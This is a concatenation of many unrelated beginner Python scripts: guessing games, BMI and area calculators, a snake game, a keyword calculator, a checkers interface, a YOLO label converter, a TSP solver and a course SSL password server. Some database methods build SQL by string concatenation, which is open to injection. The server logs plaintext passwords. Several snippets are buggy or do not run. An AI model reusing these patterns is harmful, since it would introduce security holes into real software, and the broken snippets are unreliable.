print(f"The hourly rate is {worker_rate}")
print(f"The prize is {worker_prize}")
worker_salary = calculate_salary(covered_hours=int(worker_hours),
hourly_rate=int(worker_rate),
prize=int(worker_prize))
print(f"The worker will get {worker_salary} gross")
|
# -*- coding: utf-8 -*-
"""
Created on Fri May 4 00:13:07 2018
@author: paul
"""
okchar = "hlc"
info = "a"
low = 0
high = 100
guess = int((low+high)/2)
print('Please think of a number between 0 and 100!')
print('Is your secret number ' + str(guess) + ' ?' )
info = input('Enter h to indicate the guess is too high. Enter l to indicate the guess is too low. Enter c to indicate I guessed correctly. ')
while info != 'c':
if info not in okchar:
print("Sorry, I did not understand your input.")
print('Is your secret number ' + str(guess) + ' ?' )
info = input('Enter h to indicate the guess is too high. Enter l to indicate the guess is too low. Enter c to indicate I guessed correctly. ')
elif info == 'l':
low = guess
guess = int((low+high)/2)
print('Is your secret number ' + str(guess) + ' ?' )
info = input('Enter h to indicate the guess is too high. Enter l to indicate the guess is too low. Enter c to indicate I guessed correctly. ')
elif info == 'h':
high = guess
guess = int((low+high)/2)
print('Is your secret number ' + str(guess) + ' ?' )
info = input('Enter h to indicate the guess is too high. Enter l to indicate the guess is too low. Enter c to indicate I guessed correctly. ')
print('Game over. Your secret number was: ' + str(guess)) |
# -*- coding: utf-8 -*-
from Tkinter import *
root = Tk()
li = 'Diego Matias Martin Carla Lorena Roberto'.split()
mov = 'los juegos del hambre Cars La caida del halcon negro'.split()
listb = Listbox(root)
listb2=Listbox(root)
for item in li:
listb.insert(0, item)
for item in mov:
listb2.insert(0, item)
listb.pack()
listb2.pack()
root.mainloop() |
# -*- coding: utf-8 -*-
calif=int(input("Cual es el porcentaje que saco el empleado: "))
if calif>=90:
print ("Obtuvo el nivel maximo_ ")
elif calif>=75 and calif<90:
print ("obtuvo el nivel medio_ ")
elif calif>=50 and calif<75:
print ("obtuvo el nivel regular_ ")
elif calif<50:
print ("Esta fuera de nivel")
|
# -*- coding: utf-8 -*-
class animal():
def __init__(self, nombre):
self.nombre = nombre
self.patas = 4
self.tipo = "can"
x = animal("Tobys")
#y = animal()
print (x.nombre)
print (x.patas)
print (x.tipo)
|
# -*- coding: utf-8 -*-
class Empleado:
def __init__(self):
self.nombre=input("Nombre del empeado: ")
self.sueldo=float(input("Sueldo del empleado: "))
def imprimir(self):
print ("NOMBRE: ",self.nombre)
print ("SUELDO: ",self.sueldo)
def impuestos(self):
if self.sueldo>3000:
print ("Este empleado debe pagar impuestos!")
print ("*****************************************")
else:
print ("No paga no impuestos!")
print ("*****************************************")
empleado1=Empleado()
empleado1.imprimir()
empleado1.impuestos()
|
# coding : utf-8
#--------------------------------------------------------------------
# IMPORT
#--------------------------------------------------------------------
#My own libraries and classes
from Classes.categorie import Categorie
from Classes.product import Product
#Python libraries and classes
import records
from sqlalchemy.exc import IntegrityError
from sqlalchemy.exc import ProgrammingError
class ProductcategorieDB:
"""Table that connects a product to its brand
Allow to insert data in Products_Categories table in the database
barcode : barcode of the product (str)
id_categorie : Identifier of the categorie (int)"""
def __init__(self, barcode, id_categorie):
self.barcode = barcode
self.id_categorie = id_categorie
def find_categorie_in_database(self, db, categorie):
"""Find a categorie in the database looking by its name
db : a records.Connecion object
categorie : a Categorie Object (Categorie)"""
select_query = "SELECT id_categorie FROM categorie WHERE categorie_name='"+categorie.categorie_name+"';"
result = db.query(select_query)
print(result[0]["id_categorie"])
return result[0]["id_categorie"]
def insert_to_database(self, db):
"""Insert this ProductcategorieDB into the database"""
#We try to insert this productcategorie into the database
try:
insert_query = "INSERT INTO productcategorie (barcode, id_categorie) VALUES ('"\
+self.barcode+"', "+str(self.id_categorie)+");"
db.query(insert_query)
except IntegrityError as int_err:
print("There was an integrity error while inserting productcategoriedb")
print(int_err)
except ProgrammingError as prg_err:
print("There was a programming error while inserting a productcategoriedb")
def set_barcode(self, product):
"""Set the barcode of the product to this ProductcategorieDB"""
self.barcode = product.barcode
def set_id_categorie(self, db, categorie):
"""Set the id of this ProductcategorieDB
db : a records.Connexion object"""
self.id_categorie = self.find_categorie_in_database(db, categorie)
|
# coding : utf-8
class Brand:
"""Brand of a product
brands_tags : name of the brand (str)"""
def __init__(self, brand_tags):
self.brand_tags = brand_tags.lower()
#--------------------------------------------------------------------
# METHODS
#--------------------------------------------------------------------
def about_me(self):
"""Print in the terminal the brand"""
print("Brands tags : "+self.brand_tags)
def find_duplicates_in_list(self, list_brands):
"""Find if the brands already exists in a list"""
for brand in list_brands:
if self.is_equal(brand):
list_brands.remove(brand)
def is_equal(self, other_brand):
"""Test if this brand is equal to an other brand in the list.
Return True if equal, else it returns False
other_brand : Brands Object"""
if self.brand_tags == other_brand.brand_tags:
return True
else:
return False |
peso = float(input('Digite o peso em kg: '))
alt = float(input('Digite a altura em m: '))
imc = peso/pow(alt, 2)
print()
if imc < 18.5:
print('Seu imc é {:.2f}. Você está abaixo do peso'.format(imc))
elif 18.5 <= imc < 25:
print('Seu imc é {:.2f}. Você está com peso ideal'.format(imc))
elif 25 <= imc < 30:
print('Seu imc é {:.2f}. Você está com sobrepeso'.format(imc))
elif 30 <= imc < 40:
print('Seu imc é {:.2f}. Você está com obesidade'.format(imc))
else:
print('Seu imc é {:.2f}. Você está com obesidade mórbida'.format(imc))
|
# Área da parede
n1 = float(input('Qual a altura da parede em m? '))
n2 = float(input('Qual a largura da parede em m? '))
print()
print('A área da parede é: {} m². Considerando que 1l de tinta pinta 2 m², você vai gastar {:.2f}l de tinta.'.format(n1*n2, n1*n2/2))
|
# Ordem de apresentação
from random import shuffle
al1 = input('Qual o nome do primeiro aluno? ')
print()
al2 = input('Qual o nome do segundo aluno? ')
print()
al3 = input('Qual o nome do terceiro aluno? ')
print()
al4 = input('Qual o nome do quarto aluno? ')
lst = [al1, al2, al3, al4]
shuffle(lst)
print()
print('A ordem de apresentação será: {} .'.format(lst))
|
# Adivinhando número
import random, time
pensador = random.randint(0, 5)
numero = int(input('Digite um número de 0 a 5: '))
print()
print('Processando ...')
time.sleep(5)
if numero == pensador:
print('Parabéns!!! Você escolheu {} e o computador também escolheu {}.'.format(numero, pensador))
else:
print('TENTE DE NOVO. Você escolheu {} e o computador escolheu {}.'.format(numero, pensador))
|
# Adivinhando número com while
import random, time
pensador = random.randint(0, 10)
numero = int(input('Digite um número de 0 a 10: '))
cont = 1
while numero != pensador:
cont += 1
print()
print('Processando ...')
time.sleep(1)
print()
numero = int(input('Numero errado. Digite outro número de 0 a 10: '))
print()
print('Parabéns!!! Você acertou o numero {} em {} tentativas.'.format(numero, cont))
|
# Sorteio de alunos
import random
al1 = input('Qual o nome do primeiro aluno? ')
print()
al2 = input('Qual o nome do segundo aluno? ')
print()
al3 = input('Qual o nome do terceiro aluno? ')
print()
al4 = input('Qual o nome do quarto aluno? ')
lst = [al1, al2, al3, al4]
escolhido = random.choice(lst)
print()
print('O aluno sorteado foi: {} .'.format(escolhido))
|
num1 = int(input('Digite um número inteiro: '))
print()
num2 = int(input('Digite outro número inteiro: '))
print()
if num1 > num2:
print('O número {} é maior que {}.'.format(num1, num2))
elif num1 < num2:
print('O número {} é menor que {}.'.format(num1, num2))
else:
print('Os números são iguais.')
|
# Matriz 3 x 3 e cálculos
lista = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
soma = maior = somapar = 0
for i in range(0, 3):
for j in range(0, 3):
lista[i][j] = (int(input(f'Digite o elemento [{i}][{j}]: ')))
print()
print('=' * 40)
for i in range(0, 3):
for j in range(0, 3):
print(f'[{lista[i][j]:^4}]', end='')
if lista[i][j] % 2 == 0:
somapar += lista[i][j]
print()
print()
print(f'A soma de todos os valores pares é: {somapar}')
print()
for i in range(0, 3):
soma += lista[i][2]
print(f'A soma dos valores da 3ª coluna é: {soma}')
print()
for i in range(0, 3):
if i == 0 or lista[1][i] > maior:
maior = lista[1][i]
print(f'O maior valor da 2ª linha é: {maior}')
|
# Média de notas de alunos
import statistics
lista1 = []
lista2 = []
while True:
aluno = str(input('Digite o nome do aluno: '))
nota1 = float(input('Digite a primeira nota: '))
nota2 = float(input('Digite a segunda nota: '))
lista1.append(aluno)
lista2.append(nota1)
lista2.append(nota2)
lista1.append(lista2[:])
lista2.clear()
resp = ' '
while resp not in 'SN':
resp = str(input('Quer continuar? [S/N] ')).upper()[0]
print()
if resp == 'N':
break
print()
print(f'A lista de notas é: {lista1}')
print()
print(' Média do aluno')
print('-' * 32)
for a in range(0, len(lista1), 2):
print(f'{lista1[a]:15} {statistics.mean(lista1[a+1])} ')
print('-' * 26)
print()
print(f' Notas individuais')
print('-' * 40)
consulta = ' '
while consulta not in '999':
consulta = str(input('Digite o nome do aluno: '))
for i in range(0, len(lista1), 2):
if consulta == lista1[i]:
print(f'As notas do aluno {lista1[i]} são: {lista1[i + 1]}')
elif consulta != lista1[i]:
pass
print()
if consulta == '999':
break
|
# Lista e funções sorteia e soma par.
import random, time
lista = []
def sorteia():
print('Os valores sorteados foram: ', end=' ')
for i in range(0, 5):
sorteio = random.randint(0, 100)
print(f' {sorteio}', end=' ')
time.sleep(1)
lista.append(sorteio)
def somaPar():
soma = 0
for i in range(0, len(lista)):
if lista[i] % 2 == 0:
soma += lista[i]
print(f'A soma dos valores é: {soma}')
sorteia()
print()
somaPar()
|
# Soma de vários números, média, maior e menor. Uso de fstring.
numero = i = soma = media = menor = maior = 0
cont = 0
teste = 'S'
while teste == 'S':
numero = int(input('Digite um número inteiro: '))
cont += 1
soma += numero
if cont == 1:
menor = numero
maior = numero
else:
if numero < menor:
menor = numero
if numero > maior:
maior = numero
print()
teste = str(input('Quer continuar? [S/N] ')).upper()
print()
media = soma/cont
print()
print('=x=' * 15)
print('Você digitou {} números e a média deles é {}'.format(cont, media))
print()
print(f'O menor número é {menor} e o maior é {maior}')
print('=x=' * 15)
|
import pygame
import time
import random
#Wither- adding a block that shortens the snake. if 0 you die
pygame.init()
#global variables
white = (255, 255, 255)
black = (0, 0, 0)
red = (255, 0, 0)
green = (0, 155, 0)
display_width = 800
display_height = 600
gameDisplay = pygame.display.set_mode((display_width, display_height))
pygame.display.set_caption('Wither')
clock = pygame.time.Clock()
block_size = 20
FPS = 30
font = pygame.font.SysFont(None, 25)
#functions
def snake(block_size, snakeList):
for XnY in snakeList:
pygame.draw.rect(gameDisplay, green, [XnY[0], XnY[1], block_size, block_size])
def text_objects(text, color):
textSurface = font.render(text, True, color)
return textSurface, textSurface.get_rect()
def message_to_screen(msg, color):
textSurf, textRect = text_objects(msg, color)
#screen_text = font.render(msg, True, color, black)
#gameDisplay.blit(screen_text, [display_width / 2, display_height / 2])
textRect.center = (display_width / 2), (display_height / 2)
gameDisplay.blit(textSurf, textRect)
#gameLoop
def gameLoop():
#main variables
gameExit = False
gameOver = False
lead_x = display_width / 2
lead_y = display_height / 2
lead_x_change = 0
lead_y_change = 0
snakeList = []
snakeLength = 1
randAppleX = round(random.randrange(0, display_width - block_size)/10.0)*10.0
randAppleY = round(random.randrange(0, display_height - block_size)/10.0)*10.0
randPoisonX = round(random.randrange(0, display_width - block_size)/10.0)*10.0
randPoisonY = round(random.randrange(0, display_height - block_size)/10.0)*10.0
#main gameLoop
while not gameExit:
#game Over screen
while gameOver == True:
gameDisplay.fill(white)
message_to_screen('Game Over; Press C to play again or Q to Quit!' ,red)
pygame.display.update()
for event in pygame.event.get():
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_q:
gameExit = True
gameOver = False
if event.key == pygame.K_c:
gameLoop()
for event in pygame.event.get():
if event.type == pygame.QUIT:
gameExit = True
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_LEFT:
lead_x_change = -block_size
lead_y_change = 0
if event.key == pygame.K_RIGHT:
lead_x_change = block_size
lead_y_change = 0
if event.key == pygame.K_UP:
lead_y_change = -block_size
lead_x_change = 0
if event.key == pygame.K_DOWN:
lead_y_change = block_size
lead_x_change = 0
if lead_x >= display_width or lead_x < 0 or lead_y >= display_height or lead_y < 0:
gameOver = True
lead_x += lead_x_change
lead_y += lead_y_change
gameDisplay.fill(white)
appleSize = 30
pygame.draw.rect(gameDisplay, red, [randAppleX, randAppleY, appleSize, appleSize])
pygame.draw.rect(gameDisplay, black, [randPoisonX, randPoisonY, appleSize, appleSize])
snakeHead = []
snakeHead.append(lead_x)
snakeHead.append(lead_y)
snakeList.append(snakeHead)
if len(snakeList) > snakeLength:
del snakeList[0]
if snakeLength <= 0:
gameOver = True
#less jank but working fine
for eachSegment in snakeList[:-1]:
if eachSegment == snakeHead:
gameOver = True
#fixing finite collision for both apple and poison variables instead of only top left trigger
if lead_x > randAppleX and lead_x < randAppleX + appleSize or lead_x + block_size > randAppleX and lead_x + block_size < randAppleX + appleSize:
if lead_y > randAppleY and lead_y < randAppleY + appleSize or lead_y + block_size > randAppleY and lead_y + block_size < randAppleY + appleSize:
randAppleX = round(random.randrange(0, display_width - block_size))#/10.0)*10.0
randAppleY = round(random.randrange(0, display_height - block_size))#/10.0)*10.0
snakeLength += 1
if lead_x > randPoisonX and lead_x < randPoisonX + appleSize or lead_x + block_size > randPoisonX and lead_x + block_size < randPoisonX + appleSize:
if lead_y > randPoisonY and lead_y < randPoisonY + appleSize or lead_y + block_size > randPoisonY and lead_y + block_size < randPoisonY + appleSize:
randPoisonX = round(random.randrange(0, display_width - block_size))#/10.0)*10.0
randPoisonY = round(random.randrange(0, display_height - block_size))#/10.0)*10.0
snakeLength += -1
del snakeList[:-1]
snake(block_size, snakeList)
pygame.display.update()
clock.tick(FPS)
pygame.quit()
quit()
gameDisplay.fill(black)
message_to_screen("Black is poison Red is food Life is about attitude", green)
pygame.display.update()
time.sleep(2)
gameDisplay.fill(black)
message_to_screen('Press a to go please...', white)
pygame.display.update()
gameExit2 = False
while not gameExit2:
for event in pygame.event.get():
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_a:
gameLoop()
|
import math as m
import webbrowser
import time
def LCM(a, b):
if a > b:
greater = a
else:
greater = b
while (True):
if ((greater % a == 0) and (greater % b == 0)):
lcm = greater
break
greater = greater + 1
return lcm
def Factorial(n):
if n!=0:
ans = n
while(n>1):
ans = ans*(n-1)
n = n-1
return ans
else:
return 1
def GCD(x, y):
if y == 0:
return x
else:
return GCD(b, x % y)
print("Hey, I am a smart Calculator. I know operations on only two numbers (Maximum), I'm still learning")
while (True):
s = input("Enter any mathematical command you want to perform...\n")
s = s.lower()
if "your name" in s or "who are you" in s:
print("Hey, I am Calci")
# Trigonometric
elif 'sin' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
num2 = num * 0.0174533
print(f"Sin({num}) is {m.sin(num2)}")
elif 'cos' in s or 'cosine' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
num2 = num * 0.0174533
print(f"Cos({num}) is {m.cos(num2)}")
elif 'tan' in s or 'tangent' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
num2 = num * 0.0174533
print(f"The value of Tan({num}) is {m.tan(num2)}")
elif 'sec' in s or 'secant' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
num2 = num * 0.0174533
print(f"Sec({num}) is {1 / m.cos(num2)}")
elif 'Cosec' in s or 'cosecant' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
num2 = num * 0.0174533
print(f"Cosec({num}) is {1 / m.sin(num2)}")
elif 'cot' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
num2 = num * 0.0174533
print(f"Cot({num}) is {1 / m.tan(num2)}")
elif 'lcm' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
a = int(number[0])
b = int(number[1])
print(f"The LCM of {a} and {b} is {LCM(a, b)}")
elif 'gcd' in s or 'hcf' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
a = int(number[0])
b = int(number[1])
print(f"The HCF of {a} and {b} is {GCD(a, b)}")
elif 'factorial' in s or '!' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
print(f"{num}! is equals to {Factorial(num)}.")
elif 'log' in s and 'base' not in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
print(f"Log({num}) at base 10 is equals to {m.log10(num)}.")
elif 'log' in s and 'base' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num1 = int(number[0])
num2 = int(number[1])
print(f"Log({num1}) at base {num2} is equals to {m.log(num1,num2)}")
elif 'cuberoot' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
print(f"The Cuberoot of {num} is {m.pow(num, 1 / 3)}")
elif 'squareroot' in s or 'root' in s or 'sqrt' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
print(f"The Squareroot of {num} is {m.sqrt(num)}")
elif 'square' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
print(f"The Square of {num} is {num * num}")
elif 'cube' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
num = int(number[0])
print(f"The cube of {num} is {num ** 3}")
elif 'power' in s:
number = []
for integer in s.split():
if integer.isdecimal() or integer.isnumeric():
number.append(integer)
a = float(number[0])
b = float(number[1])
print(f"{a} raised to the power {b} is {a ** b}")
elif 'subtract' in s or 'minus' in s or '-' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
a = int(number[0])
b = int(number[1])
print(f" {a} minus {b} is {a - b}")
elif 'divide' in s or 'division' in s or '/' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
a = int(number[0])
b = int(number[1])
print(f" {a} Divided by {b} is {a / b}")
elif 'multiply' in s or 'times' in s or 'into' in s or 'product' in s or 'x' in s or 'X' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
a = int(number[0])
b = int(number[1])
print(f"The Multiplication of {a} and {b} is {a * b}")
elif 'add' in s or 'plus' in s or 'addition' in s or '+' in s or 'sum' in s:
number = []
for integer in s.split():
if integer.isdigit():
number.append(integer)
a = int(number[0])
b = int(number[1])
print(f"The Addition of {a} and {b} is {a + b}")
elif ('youtube' in s or 'ytb' in s) and 'play' not in s:
print("Sure sir, Opening Youtube for you...")
time.sleep(3)
webbrowser.open("https://www.youtube.com")
elif 'play' in s and 'youtube' in s:
print("Please enter the name again... ")
name = input()
print("Searching for " + name + " on Youtube....")
time.sleep(3)
webbrowser.open(f"https://www.youtube.com/results?search_query={name}")
elif 'google' in s or 'browser' in s or 'chrome' in s:
print("Sure sir, Opening your browser...")
time.sleep(3)
webbrowser.open("https://www.google.com")
else:
print("I am unable to proceed this command. Please try to ask in a different way.")
|
from board import Board, QBoard, Move
class Checkers:
def __init__(self,size=10,population=3):
self.environment = Board(size,population)
self.player_turn = 1
def tstart(self,debug=False):
while not self.environment.finished:
self.ask_for_next_move(debug)
print('=============')
if self.player_turn == 1:
print('Player 1 has won!')
else:
print('Player 2 has won!')
def ask_for_next_move(self,debug):
print(self.environment)
if debug == True:
print(self.environment.capture_options)
# Interpret the user's input.
question = input("What to do next? ").split(' ')
answer = self.environment.move(int(question[0]),int(question[1]),int(question[2]),int(question[3]), self.player_turn)
if debug == True:
print(answer)
# Switch turns if move was accepted.
if answer == Move.success_opponents_turn and self.environment.finished == False:
self.player_turn *= -1
class QCheckers:
def __init__(self,size=10,population=3):
self.environment = QBoard(size,population)
self.player_turn = 1
def tstart(self,debug=False):
while not self.environment.finished:
self.ask_for_next_move(debug)
print('=============')
if self.player_turn == 1:
print('Player 1 has won!')
else:
print('Player 2 has won!')
def ask_for_next_move(self,debug):
print(self.environment)
if debug == True:
print(self.environment.capture_options)
# Ask for the user's input
question = input("What to do next? ").split(' ')
if question[0] == 'Q':
answer = self.environment.quantum_split(int(question[1]),int(question[2]),self.player_turn)
else:
answer = self.environment.move(int(question[0]),int(question[1]),int(question[2]),int(question[3]), self.player_turn)
if debug == True:
print(answer)
# Switch teams if the move is accepted.
if Move.success_opponents_turn in answer and self.environment.finished == False:
self.player_turn *= -1 |
"""
server.py - host an SSL server that checks passwords
CSCI 3403
Authors: Matt Niemiec and Abigail Fernandes
Number of lines of code in solution: 140
(Feel free to use more or less, this
is provided as a sanity check)
Put your team members' names:
"""
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
import hashlib, uuid
host = "localhost"
port = 10001
# A helper function. It may come in handy when performing symmetric encryption
def pad_message(message):
return message + " " * ((16 - len(message)) % 16)
# Write a function that decrypts a message using the server's private key
def decrypt_key(session_key):
# TODO: Implement this function
f = open('./Keys')
deKey = RSA.importKey(f.read())
message = deKey.decrypt(session_key)
return message
# Write a function that decrypts a message using the session key
def decrypt_message(client_message, session_key):
# TODO: Implement this function
cipher = AES.new(session_key)
plaintext_message = cipher.decrypt(client_message)
return plaintext_message
# Encrypt a message using the session key
def encrypt_message(message, session_key):
# TODO: Implement this function
paddedMessage = pad_message(message)
cipher = AES.new(session_key)
encryptedMessage = cipher.encrypt(paddedMessage)
return encryptedMessage
# Receive 1024 bytes from the client
def receive_message(connection):
return connection.recv(1024)
# Sends message to client
def send_message(connection, data):
if not data:
print("Can't send empty string")
return
if type(data) != bytes:
data = data.encode()
connection.sendall(data)
# A function that reads in the password file, salts and hashes the password, and
# checks the stored hash of the password to see if they are equal. It returns
# True if they are and False if they aren't. The delimiters are newlines and tabs
def verify_hash(user, password):
try:
reader = open("passfile.txt", 'r')
for line in reader.read().split('\n'):
line = line.split("\t")
if line[0] == user:
# TODO: Generate the hashed password
# hashed_password =
return hashed_password == line[2]
reader.close()
except FileNotFoundError:
return False
return False
def main():
# Set up network connection listener
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, port)
print('starting up on {} port {}'.format(*server_address))
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(server_address)
sock.listen(1)
try:
while True:
# Wait for a connection
print('waiting for a connection')
connection, client_address = sock.accept()
try:
print('connection from', client_address)
# Receive encrypted key from client
encrypted_key = receive_message(connection)
# Send okay back to client
send_message(connection, "okay")
# Decrypt key from client
plaintext_key = decrypt_key(encrypted_key)
# Receive encrypted message from client
ciphertext_message = receive_message(connection)
# Decrypt message from client
plaintext_message = decrypt_message(ciphertext_message, plaintext_key)
plaintext_message = plaintext_message.decode('utf-8')
new = plaintext_message.split()
# Check that both username and password fields have been populated to avoid seg faults!
if len(new) is not 2:
noauth = encrypt_message("Please Enter Both Username and Password",plaintext_key)
print("sending encrypted unauthentic")
send_message(connection,noauth)
# Validate username and password
else:
username = new[0]
password = new[1]
print('username:', username, 'password:', password)
f = open("../passfile.txt",'r')
un_salt_pass = []
match = False
# Each line in f will be a user, salt, and hashed password
for line in f:
un_salt_pass.append(line.split('\t'))
# check usernames and salt+password hash value
for user in un_salt_pass:
if username == user[0]:
enc_pass = hashlib.sha512((password + user[1]).encode('utf-8')).hexdigest()
# strip the \n from the end of the saved hashed password
if enc_pass == user[2].rstrip():
match = True
break
if match is True:
auth = encrypt_message("User Successfully Authenticated",plaintext_key)
print("sending encrypted authentic")
send_message(connection,auth)
else:
noauth = encrypt_message("Invalid Username or Password",plaintext_key)
print("sending encrypted unauthentic")
send_message(connection,noauth)
finally:
# Clean up the connection
connection.close()
finally:
sock.close()
if __name__ in "__main__":
main() |
# encoding: utf-8
"""
It will create .txt-file for each .jpg-image-file - in the same directory and with the same name, but with .txt-extension, and put to file: object number and object coordinates on this image, for each object in new line:
<object-class> <x_center> <y_center> <width> <height>
Where:
<object-class> - integer object number from 0 to (classes-1)
<x_center> <y_center> <width> <height> - float values relative to width and height of image, it can be equal from (0.0 to 1.0]
for example: <x> = <absolute_x> / <image_width> or <height> = <absolute_height> / <image_height>
atention: <x_center> <y_center> - are center of rectangle (are not top-left corner)
For example for img1.jpg you will be created img1.txt containing:
1 0.716797 0.395833 0.216406 0.147222
0 0.687109 0.379167 0.255469 0.158333
1 0.420312 0.395833 0.140625 0.166667
@version: 3.6
@author: mas
@file: 3_json2coco.py
@time: 2020/6/1 19:24
"""
from utils import *
from sklearn.model_selection import train_test_split
parser = argparse.ArgumentParser()
# 路径相关设置
parser.add_argument('--img_path', type=str,help='影像文件路径', default=r"F:\2021\3——算法研究\车辆检测\1—阿布扎比车辆\labelme\img")
parser.add_argument('--img_prefix', type=str,help='图片后缀', default=r".png")
# parser.add_argument('--json_path', type=str,help='labelme标注json文件路径', default=r"F:\田德宇5st\2020——三室自研\固体废弃物\采样点\bboxs\labelme")
parser.add_argument('--output_dir', type=str,help='文件输出路径', default=r"F:\2021\3——算法研究\车辆检测\1—阿布扎比车辆\labelme\img")
config = parser.parse_args()
CLASSES = {
"car": 0,
"track": 1
}
def json2yolotxt(img_name):
'''
:param img_name:
:return:
'''
# 判断文件夹是否存在
if not osp.exists(config.output_dir):
os.mkdir(config.output_dir)
json_path = img_name.replace(config.img_prefix, ".json")
if not os.path.exists(json_path):
return
json_data = json.load(open(json_path))
objects = json_data["shapes"]
image_weight = json_data["imageWidth"]
image_height = json_data["imageHeight"]
yolo_txt_path = json_path[:-4] + 'txt'
with open(yolo_txt_path, 'w+') as f:
for obj in objects:
cls_id = CLASSES[obj["label"]]
absolute_x_center = obj["bbox"][0] + obj["bbox"][2] / 2
absolute_y_center = obj["bbox"][1] + obj["bbox"][3] / 2
x_center = absolute_x_center / image_weight
y_center = absolute_y_center / image_height
width = obj["bbox"][2] / image_weight
height = obj["bbox"][3] / image_height
obj_line = str(cls_id) + ' ' + str(x_center) + ' ' + str(y_center) + ' ' + str(width) + ' ' + str(height) + '\n' #注意写入换行转义字符
f.write(obj_line)
if __name__ == '__main__':
image_file_list = check_image_list(config.img_path, "*" + config.img_prefix)
print(f"开始制作yolo数据集。。。")
for image in image_file_list:
json2yolotxt(image) |
# Calculating my Body Mass Index (BMI)
#latest commit
#latestest commit
print("Dimitri BMI")
weight = float(input('Enter Dimitri weight: '))
height = float(input('Enter height: '))
BMI = weight/(height **2)
print ("Dimitri, your super BMI is", BMI)
|
ramit = {
'name': 'Ramit',
'email': 'ramit@gmail.com',
'interests': ['movies', 'tennis'],
'friends': [
{
'name': 'Jasmine',
'email': 'jasmine@yahoo.com',
'interests': ['photography', 'tennis']
},
{
'name': 'Jan',
'email': 'jan@hotmail.com',
'interests': ['movies', 'tv']
}
],
}
def countFriends(dict):
count = 0
for friend in dict['friends']:
count = count + 1
dict['The friend count is: '] = count
return dict
print(countFriends(ramit)) |
list_of_nums = [2, 123, 96, 123, -2221, 58, 42, 77, 33]
def only_evens(list_of_nums):
new_list = []
for number in list_of_nums
#check if number is even
if number % 2 == 0:
#if yes, store in new list
return new_list
|
#
# SimpleAI Traveling Salesman Problem
# Author: Aaron Hung
# Date: 5/05/15
# Purpose: Traveling Salesman Problem solution using SimpleAI's framework for state space search using Hill Climbing algorithm.
#
from simpleai.search import SearchProblem, hill_climbing_random_restarts
from simpleai.search.viewers import ConsoleViewer
import random
class TspProblem(SearchProblem):
def __init__(self, cities, distances):
'''Traveling Salesman Problem Class Constructor'''
self.numCities = cities
self.cityDistances = distances
self.tour = [1,2,3,4,5,6,7,8,9,10,11]
super(TspProblem, self).__init__(initial_state=[[0] + random.sample(self.tour, len(self.tour)) + [0]])
def actions(self, s):
'''Return action list with action description[0] and resulting tour[1]'''
actions = []
x = random.randint(1, self.numCities-1)
y = random.randint(1, self.numCities-1)
# Choose 2 random points until valid for reversing tour edge
while x == y or y == min(x, y):
x = random.randint(1, self.numCities-1)
y = random.randint(1, self.numCities-1)
# Reverse edge
s[0] = s[0][0:x+1] + list(reversed(s[0][x+1:y])) + s[0][y:]
actions.append(('2-change at ' + str(x) + ' and ' + str(y), s))
return actions
def result(self, s ,a):
'''Return resulting tour from action'''
return a[1]
def value(self, s):
'''Return the length of the tour'''
return self.__tour_length(s)
def generate_random_state(self):
'''Return a random generated tour'''
return [[0] + random.sample(self.tour, len(self.tour))+ [0]]
def __tour_length(self, s):
'''Return length of state or total distance of tour'''
total_dist = 0
for i in range (0, self.numCities - 2):
current_city = s[0][i]
next_city = s[0][i + 1]
current_dist = self.cityDistances[current_city][next_city]
total_dist += current_dist
# Add in distance for returning trip to origin of tour
total_dist += self.cityDistances[s[0][self.numCities - 1]][s[0][0]]
return total_dist
problem = TspProblem(12, [[0, 5, 7, 6, 8, 1, 3, 9, 14, 3, 2, 9], \
[5, 0, 6, 10, 4, 3, 12,14, 9, 1, 2, 7], \
[7, 6, 0, 2, 3, 4, 11, 13, 4, 8, 10, 5], \
[6, 10, 2, 0, 5, 7, 9, 11, 13, 5, 3, 1], \
[8, 4, 3, 5, 0, 9, 11, 14, 5, 8, 3, 8], \
[1, 3, 4, 7, 9, 0, 5, 6, 14, 18, 4, 7], \
[3, 12, 11, 9, 11, 5, 0, 19, 4, 3, 5, 6], \
[9, 14, 13, 11, 14, 6, 19, 0, 1, 4, 5, 7], \
[14, 9, 4, 13, 5, 14, 4, 1, 0, 8, 3, 1], \
[3, 1, 8, 5, 8, 18, 3, 4, 8, 0, 4, 5], \
[2, 2, 10, 3, 3, 4, 5, 5, 3, 4, 0, 1], \
[9, 7, 5, 1, 8, 7, 6, 7, 1, 5, 1, 0]])
#vw = ConsoleViewer()
#result = hill_climbing_random_restarts(problem, restarts_limit=200, viewer=vw)
result = hill_climbing_random_restarts(problem, restarts_limit=200)
print result
|
print("hello world")
print('hello world')
#print("This is cool :emoji") #this works with python 3 ctrl+command+space
#single line comment
""" multi line comment - use triple quotes single/double
this is interesting """
''' another way of multi line comment
this is also cool '''
commentStr = """** Multi line comments are nothing but simple strings **"""
print(commentStr)
string = ""'this is funny'""
print(str)
string = ''"this is funny''"
print(str)
